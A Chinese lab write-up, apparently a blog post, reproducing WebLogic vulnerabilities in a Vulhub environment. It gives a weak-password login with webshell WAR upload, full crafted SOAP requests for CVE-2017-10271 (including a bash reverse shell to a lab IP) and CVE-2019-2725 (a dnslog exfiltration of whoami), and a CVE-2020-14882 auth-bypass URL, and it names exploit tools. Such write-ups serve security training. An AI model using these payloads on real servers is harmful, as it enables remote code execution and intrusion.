Vulhub靶场之weblogic漏洞复现

简介

WebLogic是美国Oracle公司出品的一个application server,确切的说是一个基于JAVAEE架构的中间件,WebLogic是用于开发、集成、部署和管理大型分布式Web应用、网络应用和数据库应用的Java应用服务器。将Java的动态功能和Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。

WebLogic是美商Oracle的主要产品之一,是并购BEA得来。是商业市场上主要的Java(J2EE)应用服务器软件(application server)之一,是世界上第一个成功商业化的J2EE应用服务器, 已推出到12c(12.2.1.4) 版。而此产品也延伸出WebLogic Portal,WebLogic Integration等企业用的中间件(但当下Oracle主要以Fusion Middleware融合中间件来取代这些WebLogic Server之外的企业包),以及OEPE(Oracle Enterprise Pack for Eclipse)开发工具。

弱口令登录导致的rce

docker拉取镜像

docker-compose up -d

登录7001端口

拼接url http://192.168.3.108:7001/console

弱口令登录

这里弱口令错误次数超过五次会锁定,因此这里使用弱口令登录

这里成功登录

制作war包

单独建立一个文件夹,里面放冰蝎3的jsp木马


打开cmd,输入jar -cvf aaa.war .
将当前目录打包成war包
 

上传war包

点击部署

我这里冰蝎连接失败了,因此又重新上传一个哥斯拉的,步骤相同。

成功连接。

CVE-2017-3506/10271 XMLDecoder反序列化漏洞

拼接以下URL,有回显如下图可以判断wls-wsat组件存在。

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

linux反弹shell

直接刷新抓包本页面,然后进行修改数据包,这个是原版数据包。随后先将GET型的改成POST型的,burp右键后有一个功能就是专门转换数据包格式的。

改成POST型数据包后,还需要进行一些构造,才能成功RCE。其中Content-Type需要等于 text/xml,否则可能导致XMLDecoder不解析。下面是构造好的数据包。

​
POST /wls-wsat/CoordinatorPortType HTTP/1.1

Host: 192.168.3.108:7001

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Connection: close

Cookie: ADMINCONSOLESESSION=CsBPjQgJv12n5Gn6sHQhTXT74KQ0yrhXn0JC2XKlJqKY7bdsZqP4!-1250251804

Upgrade-Insecure-Requests: 1

Content-Type: text/xml

Content-Length: 640

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>

<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">

<java version="1.4.0" class="java.beans.XMLDecoder">

<void class="java.lang.ProcessBuilder">

<array class="java.lang.String" length="3">

<void index="0">

<string>/bin/bash</string>

</void>

<void index="1">

<string>-c</string>

</void>

<void index="2">

<string>bash -i &gt;&amp; /dev/tcp/192.168.3.126/8888 0&gt;&amp;1</string>

</void>

</array>

<void method="start"/></void>

</java>

</work:WorkContext>

</soapenv:Header>

<soapenv:Body/>

</soapenv:Envelope>

​

下面的图就是上面构造后的包,然后放包

放包后会出现这个界面

成功反弹shell

cve-2017-10271与3506他们的漏洞原理是一样的,只不过10271绕过了3506的补丁

CVE-2019-2725 wls-wsat反序列化远程代码执行漏洞

漏洞介绍:

此漏洞实际上是CVE-2017-10271的又一入口,CVE-2017-3506的补丁过滤了object;CVE-2017-10271的补丁过滤了new,method标签,且void后面只能跟index,array后面只能跟byte类型的class;CVE-2019-2725的补丁过滤了class,限制了array标签中的byte长度。

影响组件:

bea_wls9_async_response.war、wls-wsat.war

影响范围:

10.3.6.0、12.1.3.0

验证漏洞:

访问 /_async/AsyncResponseService,返回200即存在,返回404则不存在:

/_async/AsyncResponseService

/_async/AsyncResponseServiceJms

/_async/AsyncResponseServiceHttps

Dnslog验证shell

直接刷新进行抓包,然后进行修改数据包,跟上一个一样,都先需要将GET型数据包,转换成POST型数据包,然后再进行修改构造。

POST /_async/AsyncResponseService HTTP/1.1
Host: 192.168.3.108:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 859
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping `whoami`.tsqohg.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

使用上面构造好的包,然后发包,202就是成功执行

这里收到了信息,说明存在漏洞

CVE-2020-14882未授权访问

拼接以下URL进行登录,如果能成功访问,说明存在未授权访问漏洞。

http://192.168.3.108:7001/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29

工具利用

xray

使用xray进行扫描的时候,要直接扫描根目录,如果直接扫描漏洞页面,会导致扫描不出漏洞,但是该靶场存在的漏洞很多,这次扫描的还是不全面,以下是扫描的页面。

 

扫描的结果

liqunkit

这个工具和xray的情况一样,直接访问漏洞连接,是无法扫描出漏洞的,要扫描根目录。

上面的是对漏洞页面扫描,结果无。

下面是对根目录扫描,有三个结果。

weblogicexploit

该工具只支持直接漏洞利用。

项目地址:GitHub - sp4zcmd/WeblogicExploit-GUI: Weblogic漏洞利用图形化工具 支持注入内存马、一键上传webshell、命令执行

 

连接成功

  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值